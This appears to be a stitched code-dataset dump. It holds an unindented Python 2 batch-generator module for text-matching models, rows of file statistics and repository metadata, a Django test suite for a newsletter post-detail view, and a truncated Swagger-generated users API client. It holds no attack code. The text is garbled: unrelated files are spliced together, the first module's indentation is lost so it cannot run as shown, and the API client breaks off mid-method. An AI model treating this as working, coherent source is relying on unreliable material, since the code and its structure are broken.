mhist[:, :] = caled_hist[:data1_maxlen, :]
else:
t1_rep = self.embed[self.data1[t1]]
t2_rep = self.embed[self.data2[t2]]
mm = t1_rep.dot(np.transpose(t2_rep))
for (i,j), v in np.ndenumerate(mm):
if i >= data1_maxlen:
break
vid = int((v + 1.) / 2. * ( hist_size - 1.))
mhist[i][vid] += 1.
mhist += 1.
mhist = np.log10(mhist)
return mhist
def get_batch(self):
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point + self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch])
list_count = [0]
ID_pairs = []
X1 = np.zeros((bsize, self.data1_maxlen), dtype=np.int32)
X1_len = np.zeros((bsize,), dtype=np.int32)
X2 = np.zeros((bsize, self.data1_maxlen, self.hist_size), dtype=np.float32)
X2_len = np.zeros((bsize,), dtype=np.int32)
Y = np.zeros((bsize,), dtype= np.int32)
X1[:] = self.fill_word
j = 0
for pt in currbatch:
d1, d2_list = pt[0], pt[1]
d1_len = min(self.data1_maxlen, len(self.data1[d1]))
list_count.append(list_count[-1] + len(d2_list))
for l, d2 in d2_list:
X1[j, :d1_len], X1_len[j] = self.data1[d1][:d1_len], d1_len
d2_len = len(self.data2[d2])
X2[j], X2_len[j] = self.cal_hist(d1, d2, self.data1_maxlen, self.hist_size), d2_len
ID_pairs.append((d1, d2))
Y[j] = l
j += 1
yield X1, X1_len, X2, X2_len, Y, ID_pairs, list_count
def get_batch_generator(self):
for X1, X1_len, X2, X2_len, Y, ID_pairs, list_counts in self.get_batch():
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'ID': ID_pairs, 'list_counts': list_counts}, Y)
def get_all_data(self):
x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls = [], [], [], [], [], []
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point + self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch])
list_count = [0]
X1 = np.zeros((bsize, self.data1_maxlen), dtype=np.int32)
X1_len = np.zeros((bsize,), dtype=np.int32)
X2 = np.zeros((bsize, self.data1_maxlen, self.hist_size), dtype=np.float32)
X2_len = np.zeros((bsize,), dtype=np.int32)
Y = np.zeros((bsize,), dtype= np.int32)
X1[:] = self.fill_word
X2[:] = self.fill_word
j = 0
for pt in currbatch:
d1, d2_list = pt[0], pt[1]
list_count.append(list_count[-1] + len(d2_list))
d1_len = min(self.data1_maxlen, len(self.data1[d1]))
for l, d2 in d2_list:
d2_len = len(self.data2[d2])
X1[j, :d1_len], X1_len[j] = self.data1[d1][:d1_len], d1_len
X2[j], X2_len[j] = self.cal_hist(d1, d2, self.data1_maxlen, self.hist_size), d2_len
Y[j] = l
j += 1
x1_ls.append(X1)
x1_len_ls.append(X1_len)
x2_ls.append(X2)
x2_len_ls.append(X2_len)
y_ls.append(Y)
list_count_ls.append(list_count)
return x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls
class DMN_ListGenerator(ListBasicGenerator):
def __init__(self, config={}):
super(DMN_ListGenerator, self).__init__(config=config)
self.data1 = config['data1']
self.data2 = config['data2']
self.data1_maxlen = config['text1_maxlen']
self.data1_max_utt_num = int(config['text1_max_utt_num'])
self.data2_maxlen = config['text2_maxlen']
self.fill_word = config['vocab_size'] - 1
self.embed = config['embed']
self.check_list.extend(['data1', 'data2', 'text1_maxlen', 'text2_maxlen', 'embed', 'text1_max_utt_num'])
if not self.check():
raise TypeError('[DMN_ListGenerator] parameter check wrong.')
print '[DMN_ListGenerator] init done, list number: %d. ' % (self.num_list)
def get_batch(self):
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point+self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch]) # 50 * 10 = 500
#print ('test bsize: ', bsize)
ID_pairs = []
list_count = [0]
X1 = np.zeros((bsize, self.data1_max_utt_num, self.data1_maxlen), dtype=np.int32)
X1_len = np.zeros((bsize, self.data1_max_utt_num), dtype=np.int32)
X2 = np.zeros((bsize, self.data2_maxlen), dtype=np.int32)
X2_len = np.zeros((bsize,), dtype=np.int32)
Y = np.zeros((bsize,), dtype= np.int32)
X1[:] = self.fill_word
X2[:] = self.fill_word
j = 0
#print ('test currbatch: ', currbatch)
#print ('test len(currbatch): ', len(currbatch))
for pt in currbatch: # 50
d1, d2_list = pt[0], pt[1]
#print('test d1 d2_list', d1, d2_list)
list_count.append(list_count[-1] + len(d2_list))
for l, d2 in d2_list: # 10
# if len(self.data1[d1]) > 10, we only keep the most recent 10 utterances
utt_start = 0 if len(self.data1[d1]) < self.data1_max_utt_num else (
len(self.data1[d1]) - self.data1_max_utt_num)
for z in range(utt_start,len(self.data1[d1])):
d1_ws = self.data1[d1][z].split()
d1_len = min(self.data1_maxlen, len(d1_ws))
X1[j, z-utt_start, :d1_len], X1_len[j, z-utt_start] = d1_ws[:d1_len], d1_len
#print ("l d2: ", l, d2)
if len(self.data2[d2]) == 0:
d2_ws = [self.fill_word]
else:
d2_ws = self.data2[d2][0].split()
d2_len = min(self.data2_maxlen, len(d2_ws))
X2[j, :d2_len], X2_len[j] = d2_ws[:d2_len], d2_len
ID_pairs.append((d1, d2))
Y[j] = l
j += 1
yield X1, X1_len, X2, X2_len, Y, ID_pairs, list_count
def get_batch_generator(self):
for X1, X1_len, X2, X2_len, Y, ID_pairs, list_counts in self.get_batch():
if self.config['use_dpool']:
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'dpool_index': DynamicMaxPooling.dynamic_pooling_index(X1_len, X2_len, self.config['text1_maxlen'], self.config['text2_maxlen']), 'ID': ID_pairs, 'list_counts': list_counts}, Y)
else:
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'ID': ID_pairs, 'list_counts': list_counts}, Y)
# def get_all_data(self):
# x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls = [], [], [], [], [], []
# while self.point < self.num_list:
# currbatch = []
# if self.point + self.batch_list <= self.num_list:
# currbatch = self.list_list[self.point: self.point+self.batch_list]
# self.point += self.batch_list
# else:
# currbatch = self.list_list[self.point:]
# self.point = self.num_list
#
# bsize = sum([len(pt[1]) for pt in currbatch])
# list_count = [0]
# X1 = np.zeros((bsize, self.data1_maxlen), dtype=np.int32)
# X1_len = np.zeros((bsize,), dtype=np.int32)
# X2 = np.zeros((bsize, self.data2_maxlen), dtype=np.int32)
# X2_len = np.zeros((bsize,), dtype=np.int32)
# Y = np.zeros((bsize,), dtype= np.int32)
# X1[:] = self.fill_word
# X2[:] = self.fill_word
# j = 0
# for pt in currbatch:
# d1, d2_list = pt[0], pt[1]
# list_count.append(list_count[-1] + len(d2_list))
# d1_len = min(self.data1_maxlen, len(self.data1[d1]))
# for l, d2 in d2_list:
# d2_len = min(self.data2_maxlen, len(self.data2[d2]))
# X1[j, :d1_len], X1_len[j] = self.data1[d1][:d1_len], d1_len
# X2[j, :d2_len], X2_len[j] = self.data2[d2][:d2_len], d2_len
# Y[j] = l
# j += 1
# x1_ls.append(X1)
# x1_len_ls.append(X1_len)
# x2_ls.append(X2)
# x2_len_ls.append(X2_len)
# y_ls.append(Y)
# list_count_ls.append(list_count)
# return x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls
class DMN_KD_ListGenerator(ListBasicGenerator):
def __init__(self, config={}):
super(DMN_KD_ListGenerator, self).__init__(config=config)
self.data1 = config['data1']
self.data2 = config['data2']
self.qa_comat = config['qa_comat']
self.data1_maxlen = config['text1_maxlen']
self.data1_max_utt_num = int(config['text1_max_utt_num'])
self.data2_maxlen = config['text2_maxlen']
self.fill_word = config['vocab_size'] - 1
self.embed = config['embed']
self.check_list.extend(['data1', 'data2', 'text1_maxlen', 'text2_maxlen', 'embed', 'text1_max_utt_num', 'qa_comat'])
if not self.check():
raise TypeError('[DMN_KD_ListGenerator] parameter check wrong.')
print '[DMN_KD_ListGenerator] init done, list number: %d. ' % (self.num_list)
def get_batch(self):
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point+self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch]) # 50 * 10 = 500
#print ('test bsize: ', bsize)
ID_pairs = []
list_count = [0]
X1 = np.zeros((bsize, self.data1_max_utt_num, self.data1_maxlen), dtype=np.int32)
X1_len = np.zeros((bsize, self.data1_max_utt_num), dtype=np.int32)
X2 = np.zeros((bsize, self.data2_maxlen), dtype=np.int32)
X2_len = np.zeros((bsize,), dtype=np.int32)
X3 = np.zeros((bsize, self.data1_max_utt_num, self.data1_maxlen, self.data2_maxlen),
dtype=np.float32) # max 10 turns (did, uid) -> 2d matrix
Y = np.zeros((bsize,), dtype= np.int32)
X1[:] = self.fill_word
X2[:] = self.fill_word
j = 0
#print ('test currbatch: ', currbatch)
#print ('test len(currbatch): ', len(currbatch))
for pt in currbatch: # 50
d1, d2_list = pt[0], pt[1]
#print('test d1 d2_list', d1, d2_list)
list_count.append(list_count[-1] + len(d2_list))
for l, d2 in d2_list: # 10
# if len(self.data1[d1]) > 10, we only keep the most recent 10 utterances
utt_start = 0 if len(self.data1[d1]) < self.data1_max_utt_num else (
len(self.data1[d1]) - self.data1_max_utt_num)
for z in range(utt_start,len(self.data1[d1])):
d1_ws = self.data1[d1][z].split()
d1_len = min(self.data1_maxlen, len(d1_ws))
X1[j, z-utt_start, :d1_len], X1_len[j, z-utt_start] = d1_ws[:d1_len], d1_len
key = d1 + '_' + str(z - utt_start) + '_' + d2
if key in self.qa_comat:
mp = self.qa_comat[key]
X3[j, z-utt_start][mp[0],mp[1]] = mp[2]
if len(self.data2[d2]) == 0:
d2_ws = [self.fill_word]
else:
d2_ws = self.data2[d2][0].split()
d2_len = min(self.data2_maxlen, len(d2_ws))
X2[j, :d2_len], X2_len[j] = d2_ws[:d2_len], d2_len
ID_pairs.append((d1, d2))
Y[j] = l
j += 1
yield X1, X1_len, X2, X2_len, Y, ID_pairs, list_count, X3
def get_batch_generator(self):
for X1, X1_len, X2, X2_len, Y, ID_pairs, list_counts, X3 in self.get_batch():
if self.config['use_dpool']:
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'dpool_index': DynamicMaxPooling.dynamic_pooling_index(X1_len, X2_len, self.config['text1_maxlen'], self.config['text2_maxlen']), 'ID': ID_pairs, 'list_counts': list_counts}, Y)
else:
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'ID': ID_pairs, 'list_counts': list_counts, 'qa_comat': X3}, Y)
# def get_all_data(self):
# x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls = [], [], [], [], [], []
# while self.point < self.num_list:
# currbatch = []
# if self.point + self.batch_list <= self.num_list:
# currbatch = self.list_list[self.point: self.point+self.batch_list]
# self.point += self.batch_list
# else:
# currbatch = self.list_list[self.point:]
# self.point = self.num_list
#
# bsize = sum([len(pt[1]) for pt in currbatch])
# list_count = [0]
# X1 = np.zeros((bsize, self.data1_maxlen), dtype=np.int32)
# X1_len = np.zeros((bsize,), dtype=np.int32)
# X2 = np.zeros((bsize, self.data2_maxlen), dtype=np.int32)
# X2_len = np.zeros((bsize,), dtype=np.int32)
# Y = np.zeros((bsize,), dtype= np.int32)
# X1[:] = self.fill_word
# X2[:] = self.fill_word
# j = 0
# for pt in currbatch:
# d1, d2_list = pt[0], pt[1]
# list_count.append(list_count[-1] + len(d2_list))
# d1_len = min(self.data1_maxlen, len(self.data1[d1]))
# for l, d2 in d2_list:
# d2_len = min(self.data2_maxlen, len(self.data2[d2]))
# X1[j, :d1_len], X1_len[j] = self.data1[d1][:d1_len], d1_len
# X2[j, :d2_len], X2_len[j] = self.data2[d2][:d2_len], d2_len
# Y[j] = l
# j += 1
# x1_ls.append(X1)
# x1_len_ls.append(X1_len)
# x2_ls.append(X2)
# x2_len_ls.append(X2_len)
# y_ls.append(Y)
# list_count_ls.append(list_count)
# return x1_ls, x1_len_ls, x2_ls, x2_len_ls, y_ls, list_count_ls
class ListGenerator_Feats(ListBasicGenerator):
def __init__(self, config={}):
super(ListGenerator_Feats, self).__init__(config=config)
self.__name = 'ListGenerator'
self.check_list.extend(['data1', 'data2', 'text1_maxlen', 'text2_maxlen', 'pair_feat_size', 'pair_feat_file', 'query_feat_size', 'query_feat_file'])
if not self.check():
raise TypeError('[ListGenerator] parameter check wrong.')
self.data1 = config['data1']
self.data2 = config['data2']
self.data1_maxlen = config['text1_maxlen']
self.data2_maxlen = config['text2_maxlen']
self.fill_word = config['vocab_size'] - 1
self.pair_feat_size = config['pair_feat_size']
self.query_feat_size = config['query_feat_size']
pair_feats = read_features_without_id(config['pair_feat_file'])
self.query_feats = read_features_with_id(config['query_feat_file'])
self.pair_feats = {}
for idx, (label, d1, d2) in enumerate(self.rel):
self.pair_feats[(d1, d2)] = pair_feats[idx]
print '[ListGenerator] init done'
def get_batch(self):
while self.point < self.num_list:
currbatch = []
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point+self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch])
list_count = [0]
ID_pairs = []
X1 = np.zeros((bsize, self.data1_maxlen), dtype=np.int32)
X1_len = np.zeros((bsize,), dtype=np.int32)
X2 = np.zeros((bsize, self.data2_maxlen), dtype=np.int32)
X2_len = np.zeros((bsize,), dtype=np.int32)
X3 = np.zeros((bsize, self.pair_feat_size), dtype=np.float32)
X4 = np.zeros((bsize, self.query_feat_size), dtype=np.float32)
Y = np.zeros((bsize,), dtype= np.int32)
X1[:] = self.fill_word
X2[:] = self.fill_word
j = 0
for pt in currbatch:
d1, d2_list = pt[0], pt[1]
list_count.append(list_count[-1] + len(d2_list))
d1_len = min(self.data1_maxlen, len(self.data1[d1]))
for l, d2 in d2_list:
d2_len = min(self.data2_maxlen, len(self.data2[d2]))
X1[j, :d1_len], X1_len[j] = self.data1[d1][:d1_len], d1_len
X2[j, :d2_len], X2_len[j] = self.data2[d2][:d2_len], d2_len
X3[j, :self.pair_feat_size] = self.pair_feats[(d1, d2)]
X4[j, :d1_len] = self.query_feats[d1][:self.query_feat_size]
ID_pairs.append((d1, d2))
Y[j] = l
j += 1
yield X1, X1_len, X2, X2_len, X3, X4, Y, ID_pairs, list_count
def get_batch_generator(self):
for X1, X1_len, X2, X2_len, X3, X4, Y, ID_pairs, list_counts in self.get_batch():
yield ({'query': X1, 'query_len': X1_len, 'doc': X2, 'doc_len': X2_len, 'pair_feats': X3, 'query_feats': X4, 'ID': ID_pairs, 'list_counts': list_counts}, Y)
def get_all_data(self):
x1_ls, x1_len_ls, x2_ls, x2_len_ls, x3_ls, x4_ls, y_ls, list_count_ls = [], [], [], [], [], [], [], []
while self.point < self.num_list:
if self.point + self.batch_list <= self.num_list:
currbatch = self.list_list[self.point: self.point + self.batch_list]
self.point += self.batch_list
else:
currbatch = self.list_list[self.point:]
self.point = self.num_list
bsize = sum([len(pt[1]) for pt in currbatch])
list_count = [0]
X1 = np.zeros((bsize, self.data1_maxlen), dtype=np.int32)
X1_len = np.zeros((bsize,), dtype=np.int32)
X2 = np.zeros((bsize, self.data2_maxlen), dtype=np.int32)
X2_len = np.zeros((bsize,), dtype=np.int32)
X3 = np.zeros((bsize, self.pair_feat_size), dtype=np.float32)
X4 = np.zeros((bsize, self.query_feat_size), dtype=np.float32)
Y = np.zeros((bsize,), dtype= np.int32)
X1[:] = self.fill_word
X2[:] = self.fill_word
j = 0
for pt in currbatch:
d1, d2_list = pt[0], pt[1]
list_count.append(list_count[-1] + len(d2_list))
d1_len = min(self.data1_maxlen, len(self.data1[d1]))
for l, d2 in d2_list:
d2_len = min(self.data2_maxlen, len(self.data2[d2]))
X1[j, :d1_len], X1_len[j] = self.data1[d1][:d1_len], d1_len
X2[j, :d2_len], X2_len[j] = self.data2[d2][:d2_len], d2_len
X3[j, :self.pair_feat_size] = self.pair_feats[(d1, d2)]
X4[j, :d1_len] = self.query_feats[d1][:self.query_feat_size]
Y[j] = l
j += 1
x1_ls.append(X1)
x1_len_ls.append(X1_len)
x2_ls.append(X2)
x2_len_ls.append(X2_len)
x3_ls.append(X3)
y_ls.append(Y)
list_count_ls.append(list_count)
return x1_ls, x1_len_ls, x2_ls, x2_len_ls, x3_ls, x4_ls, y_ls, list_count_ls
| 47.66485
| 265
| 0.539902
| 4,713
| 34,986
| 3.760874
| 0.043497
| 0.043667
| 0.061608
| 0.036559
| 0.851284
| 0.828209
| 0.815966
| 0.79103
| 0.779859
| 0.777659
| 0
| 0.046624
| 0.328103
| 34,986
| 733
| 266
| 47.729877
| 0.707406
| 0.109758
| 0
| 0.737896
| 0
| 0
| 0.062997
| 0.00525
| 0
| 0
| 0
| 0
| 0.001669
| 0
| null | null | 0.005008
| 0.010017
| null | null | 0.013356
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
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| 0
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| null | 0
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| 0
| 0
|
0
| 8
|
bc57d945cd9c84ea6df47161899bc5565a59a66d
| 15,459
|
py
|
Python
|
newsletter/tests/tests_post_date_detail_view.py
|
hbuyse/dj-newsletter
|
2c032466e648b3c844bea6aae379a5346d9ce677
|
[
"MIT"
] | null | null | null |
newsletter/tests/tests_post_date_detail_view.py
|
hbuyse/dj-newsletter
|
2c032466e648b3c844bea6aae379a5346d9ce677
|
[
"MIT"
] | null | null | null |
newsletter/tests/tests_post_date_detail_view.py
|
hbuyse/dj-newsletter
|
2c032466e648b3c844bea6aae379a5346d9ce677
|
[
"MIT"
] | null | null | null |
#! /usr/bin/env python
# coding=utf-8
"""Tests the views."""
# Django
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Permission
from django.test import TestCase, tag
from django.urls import reverse
# Current django project
from newsletter.models import Post
from newsletter.tests.utils import create_user
@tag('post', 'view', 'detail', 'anonymous')
class TestPostDetailViewAsAnonymous(TestCase):
"""Tests."""
@classmethod
def setUpTestData(cls):
"""Setup for al the following tests."""
cls.author_dict, cls.author = create_user()
cls.post = Post.objects.create(author=cls.author)
def test_get(self):
"""Tests."""
response = self.client.get(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}))
self.assertEqual(response.status_code, 200)
def test_post(self):
"""Tests."""
d = {
'text': 'Text'
}
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), d)
self.assertEqual(response.status_code, 403)
@tag('post', 'view', 'detail', 'logged')
class TestPostDetailViewAsLogged(TestCase):
"""Tests."""
@classmethod
def setUpTestData(cls):
"""Setup for al the following tests."""
cls.dict, cls.user = create_user()
cls.post = Post.objects.create(author=cls.user)
cls.perms = 'newsletter.add_comment'
def test_get_with_wrong_permissions(self):
"""Tests."""
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
response = self.client.get(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}))
self.assertEqual(response.status_code, 200)
def test_post_with_wrong_permissions(self):
"""Tests."""
d = {
'text': 'Text'
}
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), d)
self.assertEqual(response.status_code, 403)
def test_get_with_right_permissions(self):
"""Tests."""
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
self.assertFalse(self.user.has_perm(self.perms))
self.user.user_permissions.add(Permission.objects.get(codename=self.perms.split('.')[1]))
response = self.client.get(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}))
self.assertEqual(response.status_code, 200)
def test_post_with_right_permissions_but_empty_text(self):
"""Tests."""
d = {
'text': ''
}
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
self.assertFalse(self.user.has_perm(self.perms))
self.user.user_permissions.add(Permission.objects.get(codename=self.perms.split('.')[1]))
# Permission caching (https://docs.djangoproject.com/en/2.1/topics/auth/default/#permission-caching)
# Need to refetch the user to get the new permissions
self.user = get_user_model().objects.get(id=self.user.id)
self.assertTrue(self.user.has_perm(self.perms))
# Next test
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), data=d)
self.assertEqual(len(Post.objects.all()), 1)
self.assertFormError(response, 'form', 'text', "This field is required.")
def test_post_with_right_permissions(self):
"""Tests."""
d = {
'text': 'Text'
}
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
self.assertFalse(self.user.has_perm(self.perms))
self.user.user_permissions.add(Permission.objects.get(codename=self.perms.split('.')[1]))
# Permission caching (https://docs.djangoproject.com/en/2.1/topics/auth/default/#permission-caching)
# Need to refetch the user to get the new permissions
self.user = get_user_model().objects.get(id=self.user.id)
self.assertTrue(self.user.has_perm(self.perms))
# Next test
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), data=d)
self.assertEqual(len(Post.objects.all()), 1)
self.assertRedirects(response, "/{}/{}/{}/{}/".format(self.post.created.year, self.post.created.month, self.post.created.day, self.post.id), fetch_redirect_response=False)
@tag('post', 'view', 'detail', 'staff')
class TestPostDetailViewAsStaff(TestCase):
"""Tests."""
@classmethod
def setUpTestData(cls):
"""Tests."""
cls.dict, cls.user = create_user(staff=True)
cls.post = Post.objects.create(author=cls.user)
cls.perms = 'newsletter.add_comment'
def test_get_with_wrong_permissions(self):
"""Tests."""
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
response = self.client.get(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}))
self.assertEqual(response.status_code, 200)
def test_post_with_wrong_permissions(self):
"""Tests."""
d = {
'text': 'Text'
}
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), d)
self.assertEqual(response.status_code, 403)
def test_get_with_right_permissions(self):
"""Tests."""
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
self.assertFalse(self.user.has_perm(self.perms))
self.user.user_permissions.add(Permission.objects.get(codename=self.perms.split('.')[1]))
response = self.client.get(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}))
self.assertEqual(response.status_code, 200)
def test_post_with_right_permissions_but_empty_text(self):
"""Tests."""
d = {
'text': ''
}
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
self.assertFalse(self.user.has_perm(self.perms))
self.user.user_permissions.add(Permission.objects.get(codename=self.perms.split('.')[1]))
# Permission caching (https://docs.djangoproject.com/en/2.1/topics/auth/default/#permission-caching)
# Need to refetch the user to get the new permissions
self.user = get_user_model().objects.get(id=self.user.id)
self.assertTrue(self.user.has_perm(self.perms))
# Next test
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), data=d)
self.assertEqual(len(Post.objects.all()), 1)
self.assertFormError(response, 'form', 'text', "This field is required.")
def test_post_with_right_permissions(self):
"""Tests."""
d = {
'text': 'Text'
}
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
self.assertFalse(self.user.has_perm(self.perms))
self.user.user_permissions.add(Permission.objects.get(codename=self.perms.split('.')[1]))
# Permission caching (https://docs.djangoproject.com/en/2.1/topics/auth/default/#permission-caching)
# Need to refetch the user to get the new permissions
self.user = get_user_model().objects.get(id=self.user.id)
self.assertTrue(self.user.has_perm(self.perms))
# Next test
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), data=d)
self.assertEqual(len(Post.objects.all()), 1)
self.assertRedirects(response, "/{}/{}/{}/{}/".format(self.post.created.year, self.post.created.month, self.post.created.day, self.post.id), fetch_redirect_response=False)
@tag('post', 'view', 'detail', 'superuser')
class TestPostDetailViewAsSuperuser(TestCase):
"""Tests."""
@classmethod
def setUpTestData(cls):
"""Tests."""
cls.dict, cls.user = create_user(superuser=True)
cls.post = Post.objects.create(author=cls.user)
def test_get(self):
"""Tests."""
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
response = self.client.get(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}))
self.assertEqual(response.status_code, 200)
def test_post_but_empty_text(self):
"""Tests."""
d = {
'text': ''
}
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), data=d)
self.assertEqual(len(Post.objects.all()), 1)
self.assertFormError(response, 'form', 'text', "This field is required.")
def test_post(self):
"""Tests."""
d = {
'text': 'Text'
}
self.assertTrue(self.client.login(username=self.dict['username'], password=self.dict['password']))
response = self.client.post(reverse('newsletter:post-detail-date',
kwargs={
'year': self.post.created.year,
'month': self.post.created.month,
'day': self.post.created.day,
'pk': self.post.id
}), data=d)
self.assertEqual(len(Post.objects.all()), 1)
self.assertRedirects(response, "/{}/{}/{}/{}/".format(self.post.created.year, self.post.created.month, self.post.created.day, self.post.id), fetch_redirect_response=False)
| 48.158879
| 179
| 0.481791
| 1,444
| 15,459
| 5.086565
| 0.08241
| 0.078421
| 0.110279
| 0.046562
| 0.931246
| 0.927297
| 0.927297
| 0.9258
| 0.923349
| 0.910007
| 0
| 0.005116
| 0.39304
| 15,459
| 320
| 180
| 48.309375
| 0.777683
| 0.060547
| 0
| 0.875536
| 0
| 0
| 0.079956
| 0.031217
| 0
| 0
| 0
| 0
| 0.188841
| 1
| 0.081545
| false
| 0.055794
| 0.025751
| 0
| 0.124464
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
bc5886039d1d9330c6d953dd47efd2cffcc61958
| 27,625
|
py
|
Python
|
ce_api/api/users_api.py
|
maiot-io/cengine
|
3a1946c449e8c5e1d216215df6eeab941eb1640a
|
[
"Apache-2.0"
] | 7
|
2020-10-13T12:47:32.000Z
|
2021-03-12T12:00:14.000Z
|
ce_api/api/users_api.py
|
maiot-io/cengine
|
3a1946c449e8c5e1d216215df6eeab941eb1640a
|
[
"Apache-2.0"
] | null | null | null |
ce_api/api/users_api.py
|
maiot-io/cengine
|
3a1946c449e8c5e1d216215df6eeab941eb1640a
|
[
"Apache-2.0"
] | 1
|
2021-01-23T02:19:42.000Z
|
2021-01-23T02:19:42.000Z
|
# coding: utf-8
"""
maiot Core Engine API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 0.1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from ce_api.api_client import ApiClient
class UsersApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def create_user_api_v1_users_post(self, body, **kwargs): # noqa: E501
"""Create User # noqa: E501
Create new user and organization # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_user_api_v1_users_post(body, async_req=True)
>>> result = thread.get()
:param async_req bool
:param UserCreate body: (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_user_api_v1_users_post_with_http_info(body, **kwargs) # noqa: E501
else:
(data) = self.create_user_api_v1_users_post_with_http_info(body, **kwargs) # noqa: E501
return data
def create_user_api_v1_users_post_with_http_info(self, body, **kwargs): # noqa: E501
"""Create User # noqa: E501
Create new user and organization # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_user_api_v1_users_post_with_http_info(body, async_req=True)
>>> result = thread.get()
:param async_req bool
:param UserCreate body: (required)
:return: User
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
